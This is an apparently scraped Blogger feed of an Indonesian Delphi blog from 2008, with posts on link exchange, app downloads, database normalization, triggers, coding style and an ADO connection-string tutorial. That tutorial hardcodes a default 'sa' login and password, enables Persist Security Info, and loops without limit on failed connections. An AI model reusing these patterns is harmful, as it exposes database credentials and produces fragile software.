Background Toolbar Windows Explorer dgn Gambar Bitmap'/><author><name>hEnDr13_87</name><uri>http://www.blogger.com/profile/14288706012706271271</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://1.bp.blogspot.com/-B0F73tTecmk/TWXeK4iOKOI/AAAAAAAAAV8/u_USzu2NZrw/s220/Baru.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6989619840839298269.post-2966982795352235749</id><published>2008-06-04T12:16:00.004+07:00</published><updated>2010-01-08T17:15:23.617+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Link Exchange'/><title type='text'>Place Your Link here ... Link Exchange</title><content type='html'>Blog Delphi&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pasang banner/link kami,maka kami akan memasang link anda juga.&lt;br /&gt;Copy kode dibawah ini, kemudian masukkan diblog anda&lt;br /&gt;&lt;textarea name="code" rows="3" cols="30"&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://hendr13.blogspot.com" target="_blank"&gt;&lt;img src="http://code.google.com/p/delphi-nice-toolbar/logo?logo_id=1258716443" alt="Blog Delphi" /&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;                &lt;br /&gt;&lt;br /&gt;                &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;                &lt;/textarea&gt;&lt;br /&gt;setelah memasang kode itu, tolong isi komentar dibawah ini yang berisi judul dan alamat blog anda :) &lt;center&gt;&lt;br /&gt;               &lt;a href="http://hendr13.blogspot.com/" target="_blank"&gt;&lt;img src="http://code.google.com/p/delphi-nice-toolbar/logo?logo_id=1258716443" alt="Blog Delphi" /&gt;&lt;br /&gt;               &lt;/a&gt;&lt;br /&gt;                &lt;p&gt;&lt;/p&gt;&lt;/center&gt;&lt;p&gt;Terima kasih...&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6989619840839298269-2966982795352235749?l=hendr13.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hendr13.blogspot.com/feeds/2966982795352235749/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6989619840839298269&amp;postID=2966982795352235749' title='9 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/2966982795352235749'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/2966982795352235749'/><link rel='alternate' type='text/html' href='http://hendr13.blogspot.com/2008/06/place-your-link-here-link-exchange.html' title='Place Your Link here ... Link Exchange'/><author><name>hEnDr13_87</name><uri>http://www.blogger.com/profile/14288706012706271271</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://1.bp.blogspot.com/-B0F73tTecmk/TWXeK4iOKOI/AAAAAAAAAV8/u_USzu2NZrw/s220/Baru.jpg'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6989619840839298269.post-3735069651371664043</id><published>2008-06-02T15:27:00.003+07:00</published><updated>2008-06-02T15:33:58.943+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Open Sorce'/><title type='text'>Aplikasi Pengolahan Data Tamu pada Hotel xxx</title><content type='html'>&lt;div align="justify"&gt;Sore semuanya...&lt;br /&gt;&lt;br /&gt;Sekarang aku mau berbagi program lagi nc... Emang sc ga terlalu bagus. Tapi lumayan lah buat referensi dalam belajar delphi. Kan kalo belajar itu mesti dari banyak guru biar ilmunya juga banyak... &lt;/div&gt;&lt;br /&gt;&lt;div align="justify"&gt;Program ini udah dalam bentuk program lengkap plus laporannya dibuat pake' quick report jadi bagi temen-temen yang berminat download aj nc program &lt;a href="http://www.esnips.com/doc/77ffdded-3c9a-4d0e-8580-8905889c197d/Hotel"&gt;yang ini&lt;/a&gt;. &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6989619840839298269-3735069651371664043?l=hendr13.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hendr13.blogspot.com/feeds/3735069651371664043/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6989619840839298269&amp;postID=3735069651371664043' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/3735069651371664043'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/3735069651371664043'/><link rel='alternate' type='text/html' href='http://hendr13.blogspot.com/2008/06/aplikasi-pengolahan-data-tamu-pada.html' title='Aplikasi Pengolahan Data Tamu pada Hotel xxx'/><author><name>hEnDr13_87</name><uri>http://www.blogger.com/profile/14288706012706271271</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://1.bp.blogspot.com/-B0F73tTecmk/TWXeK4iOKOI/AAAAAAAAAV8/u_USzu2NZrw/s220/Baru.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6989619840839298269.post-294710122017154425</id><published>2008-06-02T14:47:00.004+07:00</published><updated>2008-06-02T15:19:55.703+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tips n Tricks'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Sorce'/><title type='text'>Membuat menu pada form melalui sistem</title><content type='html'>&lt;div align="justify"&gt;Halo semua.... &lt;/div&gt;&lt;br /&gt;&lt;div align="justify"&gt;Hari ini aku mau buka-bukan lagi ah.. rencananya hari ini aku mau buka2an about Adding Items In SYSTEM Menu.. ( Cieileh....sok inggris ya... )&lt;br /&gt;Jadi materi hari ini kita sama2 belajar cara menambahkan menu items pada form. intinya ini sama aja dengan kita membuat main menu, tapi bedanya kali ini kita ga pake apa2 cm pake listing doang.. jadi bagi yang berminat download aj nc &lt;a href="http://www.esnips.com/doc/787b4e3b-68bd-4ad1-92bb-8fa04a65a554/adding"&gt;program yang ini&lt;/a&gt;.&lt;br /&gt;Trus pelajarin dc, dijamin pasti bisa kok.. Selamat mencoba y...&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6989619840839298269-294710122017154425?l=hendr13.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hendr13.blogspot.com/feeds/294710122017154425/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6989619840839298269&amp;postID=294710122017154425' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/294710122017154425'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/294710122017154425'/><link rel='alternate' type='text/html' href='http://hendr13.blogspot.com/2008/06/membuat-menu-pada-form-melalui-sistem.html' title='Membuat menu pada form melalui sistem'/><author><name>hEnDr13_87</name><uri>http://www.blogger.com/profile/14288706012706271271</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://1.bp.blogspot.com/-B0F73tTecmk/TWXeK4iOKOI/AAAAAAAAAV8/u_USzu2NZrw/s220/Baru.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6989619840839298269.post-6238131447714460775</id><published>2008-05-31T14:32:00.004+07:00</published><updated>2008-05-31T14:50:32.583+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tips n Tricks'/><title type='text'>Tips membuat Connection String pada ADO secara dinamis dengan menggunakan TRzRegIniFile</title><content type='html'>&lt;div align="justify"&gt;Beberapa hari tidak memberikan tips dan trik rasanya koq aneh dalam hidup ini. btw, nggak papa lah...hidup ini kan tidak bisa stabil, kadang merasa diatas dan kadang merasa dibawah. Baiklah, kali ini akan diberikan tips kepada temen-temen yang ingin belajar database pemrograman terutama yang ada hubungannya dengan ADO Connection.&lt;br /&gt;&lt;br /&gt;Kemudian untuk database engine yang dijadikan sebagai acuan disini adalah database engine MS SQL Server.&lt;br /&gt;&lt;br /&gt;Disini anda akan diajarkan gimana aplikasi secara otomatis akan melakukan proses koneksi ulang k server tanpa kita harus melakukan secara manual. Dengan demikian, program kita tidak akan terkesan murahan ketika koneksi gagal dilakukan langsung muncul error.&lt;br /&gt;&lt;br /&gt;langsung saja kita kembali ke pokok permasalahan yaitu gimana kita akan membuat connection string secara dinamis dengan menggunakan bantuan database registry. Untuk mengakses database regsitry dengan mudah dan cepat, disini dibantu dengan menggunakan object TRzRegIniFile yang diambil dari component pallete Raize Widgets.&lt;br /&gt;&lt;br /&gt;Sekarang silahkan anda lakukan langkah-langkah seperti dibawah ini:&lt;br /&gt;&lt;br /&gt;1. Apabila anda belum membuat program Delphi, silahkan anda buka terlebih dahulu.&lt;br /&gt;2. Kemudian buat program aplikasi baru dan berikan nama project "Project1"&lt;br /&gt;3. Simpan program aplikasi tersebut didalam folder yang aman.&lt;br /&gt;4. Setelah itu, silahkan anda tambahkan beberapa object seperti dibawah ini kedalam form:&lt;br /&gt;- ADOConnection1&lt;br /&gt;- RzRegIniFile1&lt;br /&gt;5. Lanjutkan dengan mengatur settingan object-object tersebut. Silahkan anda atur dengan settingan seperti ditunjukkan dibawah ini.&lt;br /&gt;&lt;br /&gt;Untuk ADOConnection1 :&lt;br /&gt;- LoginPrompt = False&lt;br /&gt;- untuk properties yang lain sifatnya adalah default&lt;br /&gt;&lt;br /&gt;Untuk RzRegIniFile1&lt;br /&gt;- Path = 'Software'&lt;br /&gt;- PathType = ptRegistry&lt;br /&gt;- untuk properties yang lain sifatnya adalah default&lt;br /&gt;&lt;br /&gt;6. Jangan lupa untuk menambahkan library "ComObj" kedalam "uses". Untuk lebih jelas mengenai hal ini silahkan baca &lt;a href="http://www.benpinter.net/article.php?story=20061110013923987"&gt;artikel ini&lt;/a&gt;&lt;br /&gt;7. Sekarang silahkan pilih object "Form1"&lt;br /&gt;8. Klik 2x object tersebut hingga dibuat procedure "FormCreate"&lt;br /&gt;9. Kemudian silahkan anda isikan kode program didalam event tersebut seperti terlihat pada potongan kode program dibawah ini.&lt;br /&gt;&lt;br /&gt;....&lt;br /&gt;....&lt;br /&gt;var&lt;br /&gt;TeksKoneksi : String;&lt;br /&gt;Password : String;&lt;br /&gt;User : String;&lt;br /&gt;Server : String;&lt;br /&gt;Database : String;&lt;br /&gt;TempStatus : String;&lt;br /&gt;label&lt;br /&gt;KoneksiUlang;&lt;br /&gt;begin&lt;br /&gt;&lt;br /&gt;// proses inisialisasi data variabel dari database registry&lt;br /&gt;with RzRegIniFile1 do&lt;br /&gt;begin&lt;br /&gt;Password := ReadString('Config','Password','ekoindri');&lt;br /&gt;User := ReadString('Config','User','sa');&lt;br /&gt;Server := ReadString('Config','Server','(local)');&lt;br /&gt;Database := ReadString('Config','Database','Aurecosoft - Business Small Accounting');&lt;br /&gt;end;&lt;br /&gt;&lt;br /&gt;// Memberikan inisialisasi data pada variabel TeksKoneksi&lt;br /&gt;TeksKoneksi := 'Provider=SQLOLEDB.1;' +&lt;br /&gt;'Password=%s;' +&lt;br /&gt;'Persist Security Info=True;' +&lt;br /&gt;'User ID=%s;' +&lt;br /&gt;'Initial Catalog=%s;' +&lt;br /&gt;'Data Source=%s';&lt;br /&gt;&lt;br /&gt;// Proses pembuatan ConnectionString&lt;br /&gt;KoneksiUlang:&lt;br /&gt;&lt;br /&gt;// proses koneksi ke database server&lt;br /&gt;&lt;br /&gt;try&lt;br /&gt;TempStatus := 'Sukses';&lt;br /&gt;Connected := True;&lt;br /&gt;except&lt;br /&gt;on EOleException do&lt;br /&gt;begin&lt;br /&gt;TempStatus := 'Gagal';&lt;br /&gt;end;&lt;br /&gt;end;&lt;br /&gt;&lt;br /&gt;// Apabila proses keneksi gagal, maka sistem akan melakukan koneksi ulang ke server hingga berhasil&lt;br /&gt;// jika anda ingin membatasi hingga 5 kali koneksi gagal atau n koneksi gagal akan menutup aplikasi,&lt;br /&gt;// maka, anda bisa gunakan parameter tambahan yang gunanya untuk meng-counter. Apabila parameter&lt;br /&gt;// tersebut jumlahnya sesuai dengan jumlah batas koneksinya, maka applikasi langsung di terminate.&lt;br /&gt;// Silahkan hal tersebut anda coba sendiri dan jadikan latihan untuk mengembangkan kemampuan anda&lt;br /&gt;&lt;br /&gt;if TempStatus = 'Gagal' then&lt;br /&gt;goto KoneksiUlang;&lt;br /&gt;end;&lt;br /&gt;end;&lt;br /&gt;....&lt;br /&gt;....&lt;br /&gt;&lt;br /&gt;10. Kemudian anda dapat meng-compile dan menjalankan program aplikasi tersebut dengan cara menekan tombol F9.&lt;br /&gt;11. Tunggu beberapa saat hingga aplikasi benar2 siap jalan&lt;br /&gt;12. Apabila Form1 muncul, itu artinya proses keneksi database telah berhasil dilakukan.&lt;br /&gt;13. Sekali lagi, jangan lupa untuk menentukan data-data koneksinya didalam database registry.&lt;br /&gt;14. Akan lebih baik, jika anda membuat aplikasi khusus yang tujuannya untuk memasukkan data konfigurasi database kedalam database registry, sehingga anda tidak perlu melakukan konfigurasi secara manual dengan membuka database registry.&lt;br /&gt;15. Dari contoh diatas apabila sistem tidak menjumpai data konfigurasi database didalam databse registry, maka dia akan menggunakan data defaultnya. Untuk lebih jelasnya silahkan anda lihat potongan kode program dibawah ini.&lt;br /&gt;&lt;br /&gt;....&lt;br /&gt;....&lt;br /&gt;with RzRegIniFile1 do&lt;br /&gt;begin&lt;br /&gt;Password := ReadString('Config','Password','ekoindri');&lt;br /&gt;User := ReadString('Config','User','sa');&lt;br /&gt;Server := ReadString('Config','Server','(local)');&lt;br /&gt;Database := ReadString('Config','Database','Aurecosoft - Business Small Accounting');&lt;br /&gt;end;&lt;br /&gt;....&lt;br /&gt;....&lt;br /&gt;&lt;br /&gt;16. Semoga tips ini bisa berguna.&lt;br /&gt;&lt;br /&gt;Silahkan anda berikan info ini kepada teman-teman anda yang lain agar mereka tidak kehilangan informasi yang mungkin sangat mereka butuhkan.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;salam,&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Hendrie&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6989619840839298269-6238131447714460775?l=hendr13.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hendr13.blogspot.com/feeds/6238131447714460775/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6989619840839298269&amp;postID=6238131447714460775' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/6238131447714460775'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/6238131447714460775'/><link rel='alternate' type='text/html' href='http://hendr13.blogspot.com/2008/05/tips-membuat-connection-string-pada-ado.html' title='Tips membuat Connection String pada ADO secara dinamis dengan menggunakan TRzRegIniFile'/><author><name>hEnDr13_87</name><uri>http://www.blogger.com/profile/14288706012706271271</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://1.bp.blogspot.com/-B0F73tTecmk/TWXeK4iOKOI/AAAAAAAAAV8/u_USzu2NZrw/s220/Baru.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6989619840839298269.post-3330999336670858952</id><published>2008-05-31T08:02:00.000+07:00</published><updated>2008-05-31T08:03:49.119+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Info'/><title type='text'>Trigger Delphi Pada Database</title><content type='html'>&lt;div align="justify"&gt;Jika anda orang teknik, kata trigger mungkin sudah tidak asing lagi. Trigger sering kali diartikan sebagai pemacu agar suatu system bisa bekerja dengan performance yang cukup tinggi dan handal. Dalam Delphi untuk setiap object memiliki properties atau juga event, hubungannya dengan trigger adalah event ini memiliki arti yang sama dengan trigger, dimana merupakan suatu kondisi yang tergantung oleh suatu parameter-parameter tertentu.&lt;br /&gt;&lt;br /&gt;Anggap saja sekarang kita melihat object Button sebagai contoh kasus. Ketika kita menggerakkan mouse di sekitar daerah Button, kita bisa memberikan suatu perintah-perintah atau aksi-aksi tertentu sesuai dengan kebutuhan aplikasi kita. Sama halnya dengan trigger yang ada pada tabel. Dimana ketika pada tabel tersebut ada 3 proses seperti Insert, Update dan Delete, anda bisa menambahkan perintah-perintah khusus yang bisa anda jalankan. Dengan demikian anda tidak perlu repot-repot menuliskan perintah-perintah dalam stored procedure atau dalam aplikasi anda. Jadi dengan demikian bisa meningkatkan performance dari aplikasi anda.&lt;br /&gt;&lt;br /&gt;Selengkapnya &lt;a href="http://www.keepandshare.com/doc/view.php?id=303600&amp;amp;da=y"&gt;download disini&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6989619840839298269-3330999336670858952?l=hendr13.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hendr13.blogspot.com/feeds/3330999336670858952/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6989619840839298269&amp;postID=3330999336670858952' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/3330999336670858952'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/3330999336670858952'/><link rel='alternate' type='text/html' href='http://hendr13.blogspot.com/2008/05/trigger-delphi-pada-database.html' title='Trigger Delphi Pada Database'/><author><name>hEnDr13_87</name><uri>http://www.blogger.com/profile/14288706012706271271</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://1.bp.blogspot.com/-B0F73tTecmk/TWXeK4iOKOI/AAAAAAAAAV8/u_USzu2NZrw/s220/Baru.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6989619840839298269.post-4718945612657601471</id><published>2008-05-31T07:53:00.002+07:00</published><updated>2008-05-31T08:00:43.154+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Info'/><title type='text'>Normalisasi Database</title><content type='html'>&lt;div align="justify"&gt;Proses normalisasi pertama kali diperkenalkan oleh E.F.Codd pada tahun 1972. normalisasi sering dilakukan sebagai suatu uji coba pada suatu relasi secara berkelanjutan untuk menentukan apakah relasi tersebut sudah baik atau masih melanggar aturan-aturan standar yang diperlakukan pada suatu relasi yang normal (sudah dapat dilakukan proses insert, update, delete, dan modify pada satu atau beberapa atribut tanpa mempengaruhi integritas data dalam relasi tersebut). &lt;/div&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;br&gt;&lt;div align="justify"&gt;Proses normalisasi merupakan metode yang formal/standar dalam mengidentifikasi dasar relasi bagi primary keynya (atau candidate key dalam kasus BCNF), dan dependensi fungsional diantara atribut-atribut dari relasi tersebut. Normalisasi akan membantu perancang basis data dengan menyediakan suatu uji coba yang berurut yang dapat diimplementasikan pada hubungnan individualshingga skema relasi dapat di normalisasi ke dalam bentuk yang lebih spesifik untuk menghindari terjadinya error atau inkonsistansi data, bila dilakuan update tehadap relasi tersebut dengan Abnomaly.&lt;/div&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;br&gt;&lt;div align="justify"&gt;BEBERAPA DEFINISI NORMALISASI&lt;/div&gt;&lt;div align="justify"&gt;• Normalisasi adalah suatu proses memperbaiki / membangun dengan model data relasional, dan secara umum lebih tepat dikoneksikan dengan model data logika.&lt;/div&gt;&lt;div align="justify"&gt;• Normalisasi adalah proses pengelompokan data ke dalam bentuk tabel atau relasi atau file untuk menyatakan entitas dan hubungan mereka sehingga terwujud satu bentuk database yang mudah untuk dimodifikasi.&lt;/div&gt;&lt;div align="justify"&gt;• Normalisasi dapat berguna dalam menjawab 2 pertanyaan mendasar yaitu: “apa yang dimaksud dengan desain database logical?” dan “apa yang dimaksud dengan desain database fisikal yang baik? What is phisical good logical database design?”.&lt;/div&gt;&lt;div align="justify"&gt;• Normalisasi adalah suatu proses untuk mengidentifikasi “tabel” kelompok atribut yang memiliki ketergantungan yang sangat tinggi antara satu atribut dengan atrubut lainnya.&lt;/div&gt;&lt;div align="justify"&gt;• Normalisasi bisa disebut jga sebagai proses pengelompokan atribut-atribut dari suatu relasi sehingga membentuk WELL STRUCTURED RELATION&lt;/div&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;br&gt;&lt;div align="justify"&gt;WELL STRUCTURED RELATION adalah sebuah relasi yang jumlah kerangkapan datanya sedikit (Minimum Amount Of Redundancy), serta memberikan kemungkinan bagi used untuk melakukan INSERT, DELETE, MODIFY, terhadap baris-baris data pada relasi tersebut, yang tidak berakibat terjadinya ERROR atau INKONSISTENSI DATA, yang disebabkan oleh operasi-operasi tersebut.&lt;/div&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;br&gt;&lt;div align="justify"&gt;Selengkapnya silahkan &lt;a href="http://www.keepandshare.com/doc/view.php?id=303598&amp;amp;da=y"&gt;download disini&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6989619840839298269-4718945612657601471?l=hendr13.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hendr13.blogspot.com/feeds/4718945612657601471/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6989619840839298269&amp;postID=4718945612657601471' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/4718945612657601471'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/4718945612657601471'/><link rel='alternate' type='text/html' href='http://hendr13.blogspot.com/2008/05/normalisasi-database.html' title='Normalisasi Database'/><author><name>hEnDr13_87</name><uri>http://www.blogger.com/profile/14288706012706271271</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://1.bp.blogspot.com/-B0F73tTecmk/TWXeK4iOKOI/AAAAAAAAAV8/u_USzu2NZrw/s220/Baru.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6989619840839298269.post-3741978375959663321</id><published>2008-05-24T13:24:00.003+07:00</published><updated>2008-05-24T15:56:24.852+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tips n Tricks'/><title type='text'>Tips menulis kode program dengan baik</title><content type='html'>&lt;div align="justify"&gt;Dalam menulis kode program seorang pemrogram seharusnya tidak hanya melihat dari sisi keefektifannya atau algoritma yang bagus saja atau mungkin kesederhanaan kode. Ada hal lain seperti estetika yang seharusnya juga dijadikan sebagai acuan bagi pemrogram.&lt;/div&gt;&lt;div align="justify"&gt;&lt;/div&gt;&lt;br /&gt;&lt;div align="justify"&gt;Sebuah kode program yang ditulis dengan sudut pandang berbeda maka tentu akan mempengaruhi dalam hal perawatan atau perbaikan program. Sebuah kode program yangh ditulis apa adanya tanpa memandang sisi estetika, reusabilitas, dan konsistensi relatif akan lebih sulit perawatan atau perbaikannya.&lt;/div&gt;&lt;br /&gt;&lt;div align="justify"&gt;&lt;/div&gt;&lt;div align="justify"&gt;Manfaat menulis program dengan baik antara lain :&lt;/div&gt;&lt;div align="justify"&gt;1. Baris program menjadi lebih rapi&lt;/div&gt;&lt;div align="justify"&gt;2. Alur program lebih enak dibaca&lt;/div&gt;&lt;div align="justify"&gt;3. Memudahkan dalam melakukan tracking kesalahan atau bug&lt;/div&gt;&lt;div align="justify"&gt;4. Memudahkan perawatan&lt;/div&gt;&lt;div align="justify"&gt;5. Memudahkan programmer lain untuk memahami kodenya sehingga akan memudahkan bekerja dalam team&lt;/div&gt;&lt;BR&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;div align="justify"&gt;&lt;/div&gt;&lt;div align="justify"&gt;Hal-hal yang harus diperhatikan dalam menulis kode program antara lain :&lt;/div&gt;&lt;div align="justify"&gt;1. Ikutilah standard dan style terbaru penulisan dari bahasa pemrograman tersebut bila ada, biasanya setiap bahasa pemrograman akan memiliki ciri khas sendiri.&lt;/div&gt;&lt;div align="justify"&gt;2. Sebisa mungkin konsisten, misalnya dalam menulis nama variabel, nama objek, ukuran objek, perataan kode, penggunaan jenis huruf, case sensitive dll. Dalam hal ini kita bisa membuat semacam role of play atau aturan main dalam penulisan kode atau bisa juga dengan menggunakan standard penulisan kode yang sudah ada seperti Kioss Style yang diluncurkan kioss.com. Biasanya setiap software house memiliki aturan sendiri tentang standard ini.&lt;/div&gt;&lt;div align="justify"&gt;3. Jangan abaikan komentar, karena sangat perlu untuk pengembangan atau perawatan program kedepannya, namun meskipun demikian tulislah komentar secara efisien, singkat tapi jelas. Karena panjangnya komentar justru akan mengurangi efektifitas dari baris program dan akan menambah besar memori&lt;/div&gt;&lt;div align="justify"&gt;4. Pilihlah desain pattern atau algoritma program yang tepat dalam menyelesaikan suatu prosedur dalam program, hal ini jelas akan menambah efisiensi program.&lt;/div&gt;&lt;div align="justify"&gt;5. Buatlah modul/procedure/fungsi dalam kode program agar kode program lebih enak dibaca dan alurnya terlihat jelas&lt;/div&gt;&lt;div align="justify"&gt;6. Buatlah kode Anda tampil seksi dan cantik, dengan cara mengkombinasikan ke lima hal diatas.&lt;/div&gt;&lt;div align="justify"&gt;&lt;/div&gt;&lt;div align="justify"&gt;Enjoy...&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6989619840839298269-3741978375959663321?l=hendr13.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hendr13.blogspot.com/feeds/3741978375959663321/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6989619840839298269&amp;postID=3741978375959663321' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/3741978375959663321'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/3741978375959663321'/><link rel='alternate' type='text/html' href='http://hendr13.blogspot.com/2008/05/tips-menulis-kode-program-dengan-baik.html' title='Tips menulis kode program dengan baik'/><author><name>hEnDr13_87</name><uri>http://www.blogger.com/profile/14288706012706271271</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://1.bp.blogspot.com/-B0F73tTecmk/TWXeK4iOKOI/AAAAAAAAAV8/u_USzu2NZrw/s220/Baru.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6989619840839298269.post-141776956418573754</id><published>2008-05-24T12:43:00.004+07:00</published><updated>2008-12-14T06:50:40.069+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tips n Tricks'/><title type='text'>Trik Mengetahui Peminat atau Pengguna Delphi Melalui Google Trends</title><content type='html'>&lt;div align="justify"&gt; &lt;/div&gt;&lt;div align="justify"&gt;Google Trends, merupakan sebuah proyek dari google yang telah diimplementasikan untuk bisa digunakan oleh umum. Dengan Google Trends kita bisa mengetahui trend pencarian yang dilakukan oleh pengguna search engine google atas keyword atau kata kunci tertentu berdasarkan negara, bahasa, region dan waktu. Tools oogle Trennds bisa kita akses melalui alamat url &lt;a href="http://google.com/trends"&gt;http://google.com/trends&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Dalam kasus untuk mengetahui pengguna delphi ini kita asumsikan dulu bahwa peminat atau pengguna delphi adalah orang yang pernah melakukan pencarian diInternet melalui Google dengan kata kunci Delphi, bisa juga Borland Delphi, yang penting ada Delphinya. &lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="justify"&gt;Sekarang kita masuk aja ke http://google.com/trends untuk mencobanya, masukkan kata kunci delphi dan tekan enter maka akan muncul analisisnya.&lt;/div&gt;&lt;p align="justify"&gt;&lt;img id="BLOGGER_PHOTO_ID_5203817257896514610" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://3.bp.blogspot.com/_E7ld_61SOLw/SDesOZz4FDI/AAAAAAAAACw/N5Pd7camBGs/s320/viz.png" border="0" /&gt;Pada saat saya melakukannya terlihat bahwa peminat atau bisa dibilang pengguna Delphi&lt;br /&gt;semakin menurun dari tahun ketahun wah itu artinya Delphi sudah mau ditinggalkan? hehehe untuk yang itu saya gak bisa menyimpulkan, tanya aja pada ahlinya tapi kalo melihat kondisi sekarang sepertinya iya hhehe, apalagi beberapa waktu lalu terdengar bahwa Borland mau gulung tikar, tapi gak tahu kenapa kok gak jadi, apa cuman isu dooank.&lt;/p&gt;&lt;p align="justify"&gt;Pada bagian bawah gambar ada juga 3 kolom daftar nama2 yaitu Region, Cities dan Languange yaitu daftar urutan 10 terbanyak pengguna atau peminat delphi berdasarkan Region(Wilayah),Cities(Kota), dan Languange(Bahasa). Dan Terlihat Indonesia mendominasai, berdasarkan Region, Indonesia menempati peringkat kedua setelah Russia. Berdasarkan 